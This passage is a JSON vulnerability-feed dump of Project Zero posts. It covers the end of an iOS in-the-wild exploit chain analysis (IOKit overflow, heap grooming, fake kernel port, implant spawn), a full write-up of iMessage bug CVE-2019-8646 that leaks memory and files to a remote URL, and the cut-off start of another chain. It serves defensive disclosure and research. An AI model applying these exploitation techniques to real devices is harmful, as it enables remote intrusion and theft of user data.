0x7D8LL);\n\n*(uint32_t*)struct_in = 1;\n\n*(uint32_t*)&struct_in[0x7D4] = bad_length;\n\nstruct_out_size = 0x7D8LL;\n\nreturn IOConnectCallStructMethod(userclient,\n\n5,\n\nstruct_in,\n\n0x7D8,\n\nstruct_out,\n\n&struct_out_size);\n\n}\n\n \nTo understand what happens here we need to look more closely at exactly how external method calls work: \n \nIOConnectCallStructMethod is a wrapper function implemented in IOKitLib.c, part of the open source [IOKitUser](<https://opensource.apple.com/source/IOKitUser/>) project. It's just a wrapper around IOConnectCallMethod: \n \n \n\n\nkern_return_t\n\nIOConnectCallStructMethod(mach_port_t connection, // In\n\nuint32_t selector, // In\n\nconst void* inputStruct, // In\n\nsize_t inputStructCnt, // In\n\nvoid* outputStruct, // Out\n\nsize_t* outputStructCnt) // In/Out\n\n{\n\nreturn IOConnectCallMethod(connection, selector,\n\nNULL, 0,\n\ninputStruct, inputStructCnt,\n\nNULL, NULL,\n\noutputStruct, outputStructCnt);\n\n}\n\n \nIOConnectCallMethod is a more complex wrapper which selects the correct kernel MIG function to call based on the passed arguments; in this case that's io_connect_method: \n \n \n\n\nrtn = io_connect_method(connection, selector,\n\n(uint64_t *) input, inputCnt,\n\ninb_input, inb_input_size,\n\nool_input, ool_input_size,\n\ninb_output, &inb_output_size,\n\noutput, outputCnt,\n\nool_output, &ool_output_size);\n\n \nThe IOKitLib project doesn't contain the implementation of io_connect_method; neither does the XNU project, so where is it? io_connect_method is a MIG RPC method, defined in the device.defs file in the XNU project. Here's the definition: \n \n \n\n\nroutine io_connect_method (\n\nconnection : io_connect_t;\n\nin selector : uint32_t;\n\nin scalar_input : io_scalar_inband64_t;\n\nin inband_input : io_struct_inband_t;\n\nin ool_input : mach_vm_address_t;\n\nin ool_input_size : mach_vm_size_t;\n\n \n\n\nout inband_output : io_struct_inband_t, CountInOut;\n\nout scalar_output : io_scalar_inband64_t, CountInOut;\n\nin ool_output : mach_vm_address_t;\n\ninout ool_output_size : mach_vm_size_t\n\n);\n\n \nRunning the MIG tool on device.defs will generate the serialization and deserialization C code which userspace and the kernel use to implement the client and server parts of the RPC. This happens as part of the XNU build process. \n \nThe first argument to the MIG method is a mach port; this is the port to which the serialized message will be sent. \n\n\n### Receiving in EL1\n\nIn the mach message send path in ipc_kmsg.c there's the following check: \n \n\n\nif (port->ip_receiver == ipc_space_kernel) {\n\n...\n\n/*\n\n* Call the server routine, and get the reply message to send.\n\n*/\n\nkmsg = ipc_kobject_server(kmsg, option);\n\nif (kmsg == IKM_NULL)\n\nreturn MACH_MSG_SUCCESS;\n\n \nIf a mach message is sent to a port which has its ip_receiver field set to ipc_space_kernel it's not enqueued onto the receiving port's message queue. Instead the send path is short-circuited and the message is assumed to be a MIG serialized RPC request for the kernel and it's synchronously handled by ipc_kobject_server: \n \n \n\n\nipc_kmsg_t\n\nipc_kobject_server(\n\nipc_kmsg_t request,\n\nmach_msg_option_t __unused option)\n\n{\n\n...\n\nint request_msgh_id = request->ikm_header->msgh_id;\n\n/*\n\n* Find out corresponding mig_hash entry if any\n\n*/\n\n{\n\nunsigned int i = (unsigned int)MIG_HASH(request_msgh_id);\n\nint max_iter = mig_table_max_displ;\n\ndo {\n\nptr = &mig_buckets[i++ % MAX_MIG_ENTRIES];\n\n} while (request_msgh_id != ptr->num && ptr->num && \\--max_iter);\n\nif (!ptr->routine || request_msgh_id != ptr->num) {\n\nptr = (mig_hash_t *)0;\n\nreply_size = mig_reply_size;\n\n} else {\n\nreply_size = ptr->size;\n\n}\n\n}\n\n/* round up for trailer size */\n\nreply_size += MAX_TRAILER_SIZE;\n\nreply = ipc_kmsg_alloc(reply_size);\n\n \nThis function looks up the message's msgh_id field in a table containing all the kernel MIG subsystems (not just those from devices.defs, but also methods for task ports, thread ports, the host port and so on). \n \nFrom that table it reads the maximum reply message size (which is static in MIG) and allocates a suitably sized reply ipc_kmsg structure. For more details on the ipc_kmsg structure see [this blog post](<https://googleprojectzero.blogspot.com/2017/04/exception-oriented-exploitation-on-ios.html>) from a couple of years ago on using it for exploitation. \n \nIt just so happens that the serialized io_connect_method request message falls in kalloc.4096, and the reply message in kalloc.6144, the two zones which have been groomed. \n \nSince both the request and reply message will be using inband structure buffers, the input and output structure buffers passed to the external method will point directly into the request and reply ipc_kmsg structures. Recalling the heap grooming earlier, they'll end up with the following layout: [](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5Z_urRR8aWdJpDQedr239RS4PaIQuEDa-BHFMRHXPn0J7eCwpbuPyaif07fzZ6OQbcLdOcUipb52n54kWtl2tiR3uxwYV744XSzA0ceB96Ounslws2R8HCCWYuqglJ5D___A0bvzkcI8kCe9PUPh18xpvkVmtS2sF5q89yvFh9x28vrdqt6ptm0i2/s3363/ProvInfo%20request%20heap%20-%20HI_RES.png>) [](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsp9_XSEgo3qfYWZRdlwniBtfwUa4rzSChGQ4XiMFf26Hrmd3XnHa6iuIPsapua7APcEtbxJtRgEXMfnoE8tUc-_j5zniRwfq0T99b90Ri4ODEaUylfACYBYacXJ4c8OWJnIOxuVF3J2fSkjFxO_RjACdx2LBZeO6yAk2J__z6VmdDcfuFrjrWtQl-/s3345/ProvInfo%20reply%20heap%20-%20HI_RES.png>)\n\nThis is the setup when the vulnerability is triggered; the goal here is to disclose the address of the target port. If the groom succeeded then the bad memmove in the external method will copy from the out-of-line ports descriptor which lies after the request message into the OSData object backing buffer which is after the reply ipc_kmsg structure. \n \nAfter triggering the bug they read each of the sprayed OSData objects in turn, checking whether they appear to now contain something which looks like a kernel pointer: \n \n\n\nfor (int m = 0; m < 96; ++m) {\n\nsprintf(k_str_buf, \"k_%d\", m);\n\nmax_len = 102400LL;\n\nif ( iosurface_get_property_wrapper(k_str_buf,\n\nproperty_value_buf,\n\n&max_len)) {\n\nfound_at = memmem(property_value_buf,\n\nmax_len,\n\n\"\\xFF\\xFF\\xFF\",\n\n3LL);\n\nif ( found_at ) {\n\nfound_at = (int *)((char *)found_at - 1);\n\ndisclosed_port_address = found_at[1] + ((__int64)*found_at << 32);\n\nbreak;\n\n}\n\n}\n\n}\n\n \nIf this succeeds then they've managed to disclose the kernel address of the target_port ipc_port structure. As we've seen in the previous chains, this is one of the prerequisites for their fake kernel port technique. \n\n\n### try, try, try again\n\nThey begin setting up to trigger the bug a second time. They send another complex kalloc groomer to fill in holes in kalloc.4096 and kalloc.6144 then perform two more heap grooms in both those zones. \n \nIn a buffer which will be sent in a kalloc.4096 out-of-line memory descriptor they write two values: \n \n\n\n+0x514 : kaddr_of_target_port\n\n+0xd14 : kaddr_of_target_port_neighbour (either the port below or above target port)\n\n \nThe neighbour port kernel address will be below, unless the port below starts a 4k page, in which case it's above. [](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1-xoXuTkkGsL4GEDvfLu4hdDSpOVinpx2Gl5igwd_NogLZeudamxcRgKt-2ARIrAQB4Ajt9AAqhI2lT6GTwLKqKoT_XijYNKc2zvUB2G6iT8fYFnIJroiORooBxyo3VXimwXUa6fA7AZOM5GF5Pjc0nvCvHOoooecL_hGIY2PTBgzfmxckECzEpub/s3561/ProvInfo%20second%20time%204096%20-%20HI_RES.png>) Both C and A here contain the out-of-line memory descriptor buffer with the disclosed port addresses. \n\n\n \nThey make a similar groom in kalloc.6144, alternating between an out-of-line ports descriptor with 0x201 entries, all of which are MACH_PORT_NULL, and an out-of-line memory descriptor buffer: \n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgxzNlXWKQUmjjiyXG2d9fKjPqnRW4IY8A7Xp78tLE0UTzx1PkpodIlGfQsqSdNpGrLAnxDN7TmqxBGkivrTzNvIZQwbhBNP-6aZB6Wa48T3-JuogvwebTLnTmtBIKwkmkQm8_Irs5v8KVb12JgVX8mtEVU74EeGVwzgAZgl4yP8Ybqo-ji9uCEnREI/s3939/ProvInfo%20second%20time%206144%20-%20HI_RES.png>) The out-of-line ports descriptors are sent to ports from the ports_b array, the out-of-line memory descriptors to ports from ports_d.\n\n \nThey then destroy the middle half of those middle ports (the middle C's and middle D's) and reclaim half of those freed, hopefully leaving the following heap layout: \n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4Yz4btMRblLf2P1MEmIREjphqxTiymNrCUQdO0uKbyoKGiiibV0JiDvQ6QOYO55FL9X8EqbUtX53K6WbXLsFpjC9_e4HIoAW2PnbPvo8x8ZdmCw-cWqeV8Dnvasb-SNH9JK7_-ALlXHasClwqMF34BS34aVomvp7NhoBc09pSnukV74KorOyBrQCp/s3566/ProvInfo%20second%20time%204096%20GAPS.png>) [](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZryzU1IVBjQYsBoy-kAzLks5DP-C73h-cfxMsO6jE4TXXNkv6gr9uPKI_eaOjN5NOVpZqKS-IPzBPsOz6qY7tHibAp0WsaljO4JP65OJAwr6xowm3WzpplkmhlcRBtfAPJL14wWwX-8OeJTW7RnoyAoQ_nMgSvQdBtQWWfyl-ih1GD94pr-bRLv4t/s3936/ProvInfo%20second%20time%206144%20GAPS%20-%20HI_RES.png>)\n\nThey then trigger the overflow a second time:\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwaziiGVza6SizNJef7bBpMJJDSPpPfNitGN1PZf_irKunPr89jjTxVrvTi1BTIiSRrDta05JIzg5DOLs9qbBAPoMRv7wLOjgNlz-4VJSho6PdAKaEVKhth22Ir5W4kQfFs1U2WGuObbhrIVrSHDgur_6QP02owaR5w72pNbd4HhcRhwjInQ-2YzgI/s3313/ProvInfo%20second%20time%204096%20OOB_READ%20-%20HI_RES.png>) [](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1PmtbqYAdJATR9iEBZRBrFgJRmZNdXztM3YXysidfXCNuRLRDCAtUDM25Vhag8X6FwAyPI_rAlo_g3E9NkDNZDfFP24J9SFkHMslRdtUpZuVc_jR1Y_RcipF2svI8FMGVspQvc-Tn7esqMV4zs8pS7OlyIFrEnTL58yr4HgnnJoWQI6voQqIKt_8T/s3718/ProvInfo%20second%20time%206144%20OOB_WRITE%20-%20HI_RES.png>)\n\nThe idea here is to read out of bounds into the kalloc.4096 out-of-line memory descriptor buffers which contain two port pointers, then write those values out-of-bounds off the end of the reply message, somewhere in one of those B out-of-line ports descriptors. They're again creating a situation where an out-of-line ports descriptor gets corrupted to have reference-holding pointers for which a reference was never taken.\n\n### Path to a fake kernel task port\n\nUnlike the previous chains, they don't proceed to destroy the corrupted out-of-line ports descriptor. Instead they destroy their send right to target_port (the port which has had an extra port pointer written into a out-of-line ports descriptor). This means that the out-of-line ports descriptor now has the dangling port pointer, not the task's port namespace table. They destroy before_ports and after_ports then force a GC. Note that this means they no longer have a send right to the dangling ipc_port in their task's port namespace. They still retain their receive right to the port to which the corrupted out-of-line ports descriptor was sent though, so by receiving the message enqueued on that port they can regain the send right to the dangling port.\n\n### Ports in pipes\n\nThis time they proceed to directly try to reallocate the memory backing the target port with a pipe buffer, using the familiar fake port structure. \n \nThey fill all the pipe buffers with fake ports using the following context value: \n \n\n\nmagic << 32 | 0x80000000 | fd << 16 | port_index_on_page\n\n \nThey then receive all the messages containing the out-of-line ports descriptors, looking to see if any of them contain port rights. If any port is found here, then it's the dangling pointer to the target port. \n \nThey call mach_port_get_context on the received port and ensure that the upper 32-bits of the context value match the magic value (0x2333) which they set. From the lower 32-bits they determine which pipe fd owns the replacing buffer, and what the offset of the fake port is on that page. \n \nEverything from here proceeds as before. They build a fake clock port in the pipe buffer and use the clock_sleep_trap trick to determine the kASLR slide. They build a fake kernel task port; escape the sandbox, patch the platform policy, add the implant CDHash to the trust cache and spawn the implant as root. \n \n\n\nPosted by Tim at [5:04 PM](<https://googleprojectzero.blogspot.com/2019/08/in-wild-ios-exploit-chain-4.html> \"permanent link\" ) [  ](<https://www.blogger.com/post-edit.g?blogID=4838136820032157985&postID=7187671007688770688&from=pencil> \"Edit Post\" )\n\n[Email This](<https://www.blogger.com/share-post.g?blogID=4838136820032157985&postID=7187671007688770688&target=email> \"Email This\" )[BlogThis!](<https://www.blogger.com/share-post.g?blogID=4838136820032157985&postID=7187671007688770688&target=blog> \"BlogThis!\" )[Share to Twitter](<https://www.blogger.com/share-post.g?blogID=4838136820032157985&postID=7187671007688770688&target=twitter> \"Share to Twitter\" )[Share to Facebook](<https://www.blogger.com/share-post.g?blogID=4838136820032157985&postID=7187671007688770688&target=facebook> \"Share to Facebook\" )[Share to Pinterest](<https://www.blogger.com/share-post.g?blogID=4838136820032157985&postID=7187671007688770688&target=pinterest> \"Share to Pinterest\" )\n\n#### No comments:\n\n#### Post a Comment\n\n[](<https://www.blogger.com/comment/frame/4838136820032157985?po=7187671007688770688&hl=en>)\n *[5:04\u202fPM]: 2019-08-29T17:04:00-07:00\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2019-08-29T00:00:00", "type": "googleprojectzero", "title": "\nIn-the-wild iOS Exploit Chain 4\n", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8646"], "modified": "2019-08-29T00:00:00", "id": "GOOGLEPROJECTZERO:F5CF6A432B61D584C074F681DBED3349", "href": "https://googleprojectzero.blogspot.com/2019/08/in-wild-ios-exploit-chain-4.html", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2023-06-07T02:00:22", "description": "Posted by Natalie Silvanovich, Project Zero\n\n \n\n\n[CVE-2019-8646](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1858>) is a somewhat unusual vulnerability I reported in iMessage. It has a number of consequences, including information leakage and the ability to remotely read files on a device. This blog post discusses the ways that an attacker could use this bug. It is a good example of how the large number of classes available for NSKeyedArchiver deserialization can make a bug more versatile. It\u2019s also a good example of how minor functional bugs can make a vulnerability more useful. \n \n\n\nPlease note that this blog post assumes some familiarity with NSKeyedArchiver deserialization. If you haven\u2019t read our general [post](<https://googleprojectzero.blogspot.com/2019/08/the-fully-remote-attack-surface-of.html>) on iMessage, I\u2019d recommend reading that first. \n\n## The Bug\n\nThe bug described in CVE-2019-8646 is that an unsafe class, _NSDataFileBackedFuture, can be deserialized by iMessage in a remote context. It was introduced in iOS 12.1. This class is a subclass of NSData that initializes a buffer with the contents of a file at the time the buffer is used. When this class is deserialized, it decodes the length of the buffer, a string file name and a few other objects. It then initializes the instance with the length and filename. Then when [_NSDataFileBackedFuture length] is called, it returns the deserialized length. When [_NSDataFileBackedFuture bytes]is called, the file is opened and loaded into a buffer into memory, and the buffer is returned. The buffer is also cached for future calls to the method. \n \n\n\nThere are two immediate problems with being able to deserialize this class in an untrusted context. One is that it has the potential to allow a process to access a file that it is not authorized to access, because the process doing the deserialization is the one that loads the file. When I reported this bug, I thought that this was more likely to be a concern for deserialization that occurs locally via IPC as opposed to deserialization that occurs on a remote target like iMessage. The second is that this class violates one of the guarantees that the NSData class makes, that the length property will always return the length of the bytes property. This is because the length of the buffer returned by [_NSDataFileBackedFuture bytes]is the length of the loaded file, and has no relationship to the deserialized length returned by [_NSDataFileBackedFuture length]. \n \n\n\nThe original proof-of-concept (PoC) attached to the bug report is a simple out-of-bounds read. The payload includes a serialized instance of class ACZeroingString, which is a subclass of NSString. Its initWithCoder method deserializes an instance of class NSData, as well as a length that must be half the [NSData length] that it uses to initialize the contents of the string. If the NSData instance is of subclass _NSDataFileBackedFuture, the length property of the instance can be longer than its internal data, causing the PoC to return a string that contains the contents of unallocated memory, or cause a crash.\n\n## Accessing a Remote URL\n\nAt this point, this bug didn\u2019t seem that useful for a remote attack, so I wondered if it would be possible for it to access a remote URL instead of a local file. The URL is accessed by calling [[NSData initWithContentsOfURL:options:error:]](<https://developer.apple.com/documentation/foundation/nsdata/1407864-initwithcontentsofurl>), which can initialize a buffer from any type of URL, including HTTP URLs, however the _NSDataFileBackedFuture class contains some checks to prevent this. \n \n\n\nThere are no checks to the URL on initialization, but there are some checks when the URL is accessed in [_NSDataFileBackedFuture fileURL]. Specifically, it calls [NSURL path] on the URL, and then calls [NSFileManager fileExistsAtPath:] on that path. This does not check that the URL is a file URL before checking the path. So it is possible to bypass this check by using a URL that has a path component that resolves to an existing file. I used: http://natashenka.party//System/Library/ColorSync/Resources/ColorTables.data.\n\n## Creating a URL with Unprintable Characters\n\nThe ability to make a request to a URL created an interesting possibility. Maybe it was possible to use the URL to leak data remotely. Since the original PoC created a string that contained leaked data, and the NSURL class is deserialized using a string, it didn\u2019t seem like it would be that difficult. It turned out there was a problem using the NSURL class though. An NSURL instance has very strict limitations on the characters it can contain. This class is mostly open-source, so the exact limitations can be seen in the [_CFStringIsLegalURLString](<https://opensource.apple.com/source/CF/CF-299.3/URL.subproj/CFURL.c.auto.html>) method. This is a very robust method, and I did not find any ways to get around the limitations. I did notice that after the method succeeds, the method _CFURLInit is called, which calls CFStringCreateCopy on the input string, so it caches a copy of the validated string to use as the URL later. \n \n\n\nOne idea I had was to change the string after the URL was created, because the URL string is only validated once. In the absence of bugs, this shouldn\u2019t be possible. CFStringCreateCopy calls [NSString copy] on most string objects, and for a mutable string, this should copy the string, so that any future changes to the string do not affect the copy. For a non-mutable string, it sometimes just increases the retain count on the string, but that also shouldn\u2019t be a problem, because the contents of a mutable string can\u2019t change. \n \n\n\nI looked through the subclasses of NSString that can be deserialized in iMessage to see if there were any that didn\u2019t follow the mutable copy rules described above. There were a few, but the most promising was the class INDeferredLocalizedString. This class is technically immutable (in that it extends NSString instead of NSMutableString), and it implements copy by adding a reference. But the value of an INDeferredLocalizedString instance can change. Its deserialization implementation in pseudocode is as follows.\n\n** \n** \n\n\nINDeferredLocalizedString *__cdecl -[INDeferredLocalizedString initWithCoder:](INDeferredLocalizedString *self, id decoder)\n\n{\n\nself->_formatKey = [decoder decodeObjectOfClass:[NSString class] forKey:@\"_formatKey\"];\n\nself->_table = [decoder decodeObjectOfClass:[NSString class] forKey:@\"_table\"];\n\nself->_arguments = [decoder decodeObjectOfClasses:@[[NSString class], [NSArray class]] forKey:@\"_arguments\"];\n\nself->_bundleIdentifier = [decoder decodeObjectOfClass:[NSString class] forKey:@\"_bundleIdentifier\"];\n\nself->_bundleURL = [decoder decodeObjectOfClass:[NSURL class] forKey:@\"_bundleURL\"];\n\nself->_cachedLocalization = [decoder decodeObjectOfClass:[NSString class] forKey:@\"_cachedLocalization\"];\n\nreturn self;\n\n} \n \n--- \n \n** \n** \n\n\nIt deserializes many properties, including a bundle URL that can be used for localization, a format string with a corresponding array of localized strings and a cached string. When an INDeferredLocalizedString instance is accessed, its value is determined by calling [INDeferredLocalizedString localizeForLanguage:], which generates the string based on these values and the device\u2019s language settings. The deserialized properties have a precedence. For example, the class would prefer to fetch a string from a bundle as opposed to generating it from the format string. \n \n\n\nEven with these properties, the string would only change if the device\u2019s language changed, however, it is possible to make the string change due to the issues with cycling in NSKeyedArchiver deserialization described in this [post](<https://googleprojectzero.blogspot.com/2019/08/the-fully-remote-attack-surface-of.html>). The highest precedence property of the class, the _cachedLocalization string is deserialized last, meanwhile a lower precedence property _formatKey is serialized earlier. The bundle URL is deserialized in the middle of these two. So if an instance of class INDeferredLocalizedString has a valid _formatKey, and then the bundle URL\u2019s string is a reference to the string itself, the URL will validate the _formatKey when it is being created. Initialization of the INDeferredLocalizedString instance will then continue, and the _cachedLocalization string will be deserialized and set as a property. After the INDeferredLocalizedString deserialization is complete, the URL will be available in the NSKeyedUnarchiver decoder\u2019s cache. When another class, such as _NSDataFileBackedFuture, uses it, the string value will now be generated based on the _cachedLocalization property, which is the unvalidated string. \n \n\n\nThis behavior allowed me to create a message that would leak memory and send it to a remote server as a URL parameter. A sample message with this behavior is available [here](<https://bugs.chromium.org/p/project-zero/issues/attachment?aid=398256&signed_aid=-dMOyaR5ZBv0zp7g-1CfyA==>). That said, the parameter is only read up to the first null character, so this PoC usually only sends a few bytes. This is probably enough to leak a single pointer to break ASLR with enough tries, but not good for much else.\n\n## Concatenating and Encoding Leaked Data\n\nThis limitation also prevents a more interesting attack: remotely leaking a file. Since the _NSDataFileBackedFuture class can load a file into a buffer, and also send the contents to a remote URL, is a possible attack, but the prevalence of null characters in file format headers limits its usefulness. \n \n\n\nThere is also a more subtle problem preventing the PoC above from being immediately repurposed to leak a file. The PoC works by creating a _NSDataFileBackedFuture instance with contents that are smaller than its length, then using that instance to create an ACZeroingString instance, which in a roundabout way becomes the string of a URL. That URL is then used as the URL of another _NSDataFileBackedFuture instance. But what is the string value of the URL of the first _NSDataFileBackedFuture instance? I used another remote URL which responded with a buffer containing another partial URL (http://natashenka.party//System/Library/ColorSync/Resources/ColorTables.data?val=). So when the _NSDataFileBackedFuture buffer is read out of bounds when creating the ACZeroingString instance, the leaked data continues the URL. This is not possible when accessing a file with _NSDataFileBackedFuture, because the file contents are set and generally are not in the format of a URL. So in order to leak a file, I also need to be able to concatenate strings. \n \n\n\nThe INDeferredLocalizedString class has functionality that is helpful in getting around both of these limitations. Two properties that can be decoded during deserialization are the string _formatKey and an array of strings, _argument. If an INDeferredLocalizedString instance has only these properties, it will generate its value using the first property as a format string, and the second property as its parameter. \n \n\n\n(You might be wondering at this point whether this behaviour is a vulnerability in itself because an attacker can control both a format string and its parameters. It\u2019s not, because the class uses a \u2018fake\u2019 format string implementation that is based on regular expressions. The implementation searches for instances of \u201c%@\u201d or similar in the format string, and then replaces them sequentially with values from the array). \n \n\n\nThis format string behaviour allows the ACZeroingString instance to be inserted into a string containing a URL, and it also helps with the issue of null characters. When an ACZeroingString instance is formatted with \u201c%@\u201d, non-printable characters are escaped in the format \u201c\\UXXXX\u201d. Single null bytes will be added to the string as a part of a character in this way, however if there are two null bytes in a row, this character will be omitted. This type of encoding is useful in some contexts (for example, leaking the SMS database, where there are a lot of null characters, but only the string are relevant), but is not enough to completely leak a full file. \n \n\n\nLooking at the \u2018fake\u2019 format string function a bit more, it calls description on every member of the arguments array before inserting it into the format string. This would be very useful behavior if the arguments array wasn\u2019t limited to containing string types. Calling description on an instance of class NSURL URL encodes the URL string before it is inserted. So if it was possible to put the URL containing the leaked bytes into the arguments array, it could be encoded, which would allow the entire file to be sent as a part of a URL. \n \n\n\nThere is a problem in NSKeyedUnarchiverSerialization which can allow objects that are not included in the allow list to be returned when an instance of class NSArray or NSDictionary is deserialized. The first time an array or dictionary is deserialized, every element, key or value that is deserialized as a part of the object\u2019s contents is checked against the allow list. But if the object has already been deserialized, the object is returned from the NSKeyedUnarchiverSerialization instance\u2019s object cache, and only the object, and not its elements, keys or values are checked against the allow list. So the _arguments array could contain a URL, so long as the array had already been deserialized elsewhere. \n \n\n\nIt was a bit of a challenge finding somewhere an array containing a URL could be deserialized in iMessage. The top level allow list does not include class NSArray, and I could not find a class with an initWithCoder: implementation that contained a deserialization call that allows both arrays and URLs. I eventually implemented it so that it uses the bug twice. First, a dictionary containing the URL is decoded, which is allowed at the top level. Then, an instance of __NSLocalizedString is decoded, which decodes a property NS.configDict, which allows arrays and dictionaries, but not URLs, but because of the bug, a dictionary containing a URL is okay. Then, the bug is used again when initializing the _arguments array of the INDeferredLocalizedString instance, which is allowed because it only checks that the referenced array is an instance of NSArray. When this object is formatted into a string, it will contain some extra characters due to the dictionary, but otherwise will still be encoded.\n\n## Leaking a File\n\nPutting this all together allowed for a file to be read remotely from an iPhone. There are a few limitations to this attack. First, it is very memory intensive, the largest memory hog being the \u2018fake\u2019 format string function that needs to handle a very long string. SpringBoard can crash due to memory limits if the file is too long. The limit appears to be around 40kB to 100kB depending on device memory, though it\u2019s likely this could be increased with enough effort. It is possible to fetch the beginning of a larger file within this limit, and also reduce memory usage a bit by using escape (\u201c\\U\u201d) encoding instead of URL encoding in situations where stripping null characters are okay. \n \n\n\nThe encoding of the URL returned to the remote server is also quite complex. The URL is escaped for a few characters up until the end of where the URL schema would be is reached, and then it moves into URL encoding. The URL coding is also escaped though, so it needs to be unescaped before it is URL decoded., The escaped characters are in UTF-16 meanwhile the URL encoded characters are in UTF-8, complicating matters. Then there can be a third section of the URL that is just escaped, which occurs because when the valid characters are switched for the invalid characters when creating the URL it retains the length of the valid characters. If the URL is too short, the extra characters will only be escaped. \n \n\n\nThere\u2019s another problem with encoding, which is that sometimes printable characters are duplicated in the URL encoded string. It\u2019s not clear why this happens, it could be a bug in [NSURL description] or the URL encoder. It is fairly easy to programmatically recognize and correct these duplications, but there is always the possibility that a file contains these exact patterns, at which case the file could be read with errors. A python script that decodes all the iterations of encoding in a returned URL and outputs a file is available [here](<https://bugs.chromium.org/p/project-zero/issues/attachment?aid=404303&signed_aid=FrSeqslEbwOThDYBmZwktA==>). I have not seen any files that contain errors after being processed with this script, but there is a small probability that this could occur. \n \n\n\nThe following video shows this vulnerability being used to access a photo from a remote device\u2019s memory. First the sms.db file is accessed to get the URL of the photo, and then the photo is accessed.\n\n \n\n\n## Conclusion\n\nCVE-2019-8646 is a vulnerability in iMessage that can allow memory to be leaked and files to be read remotely from a device. The bug was fixed on July 23, 2019. This fix requires the class to be explicitly allowed for deserialization, as opposed to being allowed in any situation that permits NSData deserialization. \n \n\n\nThere were several factors that caused this bug to be exploitable in this way. One is the large number of classes available for deserialization in SpringBoard. Without the ACZeroingString, INDeferredLocalizedString and __NSLocalizedString object being available, this bug would be less useful to an attacker. \n \n\n\nAlso, there were three small bugs that contributed to this bug\u2019s capabilities. First, the error in [INDeferredLocalizedString copy] is a bug that would usually just lead to occasional crashes when the device\u2019s language was changed, but in this situation, it turned out to be exactly the bug that was needed to circumvent the character restrictions of the NSURL class. Likewise, the error in NSKeyedUnarchiver that allows arrays and dictionaries containing any type of object to be returned if they are already decoded would usually only cause exceptions related to typing, but in the case allows for a URL to be encoded. Finally, the ability of the _NSDataFileBackedFuture class to access remote URLs was also a small bug in URL filtering. This shows that there is a security benefit to avoiding and fixing bugs, even if they don\u2019t have an obvious security impact. Alone, none of these bugs, including the vulnerability were that serious, but together they allow a user\u2019s data to be accessed remotely.\n\n \n\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2019-08-22T00:00:00", "type": "googleprojectzero", "title": "\nThe Many Possibilities of CVE-2019-8646\n", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8646"], "modified": "2019-08-22T00:00:00", "id": "GOOGLEPROJECTZERO:1863643ADC4EF2ABEE526299696C931D", "href": "https://googleprojectzero.blogspot.com/2019/08/the-many-possibilities-of-cve-2019-8646.html", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2023-06-07T02:00:23", "description": "Posted by Ian Beer, Project Zero\n\n** \n** \n\n\nTL;DR \n \n\n\nThis chain targeted iOS 11-11.4.1, spanning almost 10 months. This is the first chain we observed which had a separate sandbox escape exploit. \n \n\n\nThe sandbox escape vulnerability was a severe security regression in libxpc, where refactoring lead to a < bounds check becoming a != comparison against the boundary value. The value being checked was read directly from an IPC message, and used to index an array to fetch a function pointer. \n \n\n\nIt\u2019s difficult to understand how this error could be introduced into a core IPC library that shipped to end users. While errors are common in software development, a serious one like this should have quickly been found by a unit test, code review or even fuzzing. It\u2019s especially unfortunate as this location would naturally be one of the first ones an attacker would look, as I detail below.\n\n## In-the-wild iOS Exploit Chain 3 - XPC + VXD393/D5500 repeated IOFree\n\ntargets: 5s through X, 11.0 through 11.4 \n \n\n\nDevices:\n\niPhone6,1 (5s, N51AP)\n\niPhone6,2 (5s, N53AP)\n\niPhone7,1 (6 plus, N56AP)\n\niPhone7,2 (6, N61AP)\n\niPhone8,1 (6s, N71AP)\n\niPhone8,2 (6s plus, N66AP)\n\niPhone8,4 (SE, N69AP)\n\niPhone9,1 (7, D10AP)\n\niPhone9,2 (7 plus, D11AP)\n\niPhone9,3 (7, D101AP)\n\niPhone9,4 (7 plus, D111AP)\n\niPhone10,1 (8, 